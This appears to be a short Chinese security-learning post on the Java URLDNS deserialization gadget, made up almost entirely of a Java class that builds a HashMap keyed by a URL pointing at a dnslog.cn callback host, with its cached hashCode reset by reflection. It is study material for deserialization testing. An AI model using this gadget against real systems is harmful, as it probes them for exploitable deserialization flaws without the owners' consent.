【内部投稿】java安全-URLDNS学习

package vulhub;
import org.omg.Messaging.SYNC_WITH_TRANSPORT;
import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.ObjectInputStream;import java.lang.reflect.Field;import java.net.URL;import java.net.URLConnection;import java.net.URLStreamHandler;import java.util.HashMap;
public class urldnsTest {    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {//        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/media/reader-l/acd81e20-e8ff-4229-9872-29b7aad6c5a5/hackLearning/javatest/ysoserial/src/main/java/vulhub/urldnst.txt"));//        Object o1 = objectInputStream.readObject();//        System.out.println(o1);

        URLStreamHandler handler = new URLStreamHandler() {            @Override            protected URLConnection openConnection(URL u) throws IOException {                return null;            }        };        HashMap hm = new HashMap();        String url = "http://nmli1e.dnslog.cn";        URL u = new URL(null, url, handler);        Class clazz = u.getClass();
        Field field = clazz.getDeclaredField("hashCode");        field.setAccessible(true);        field.set(u, -1);        hm.put(u, url);    }}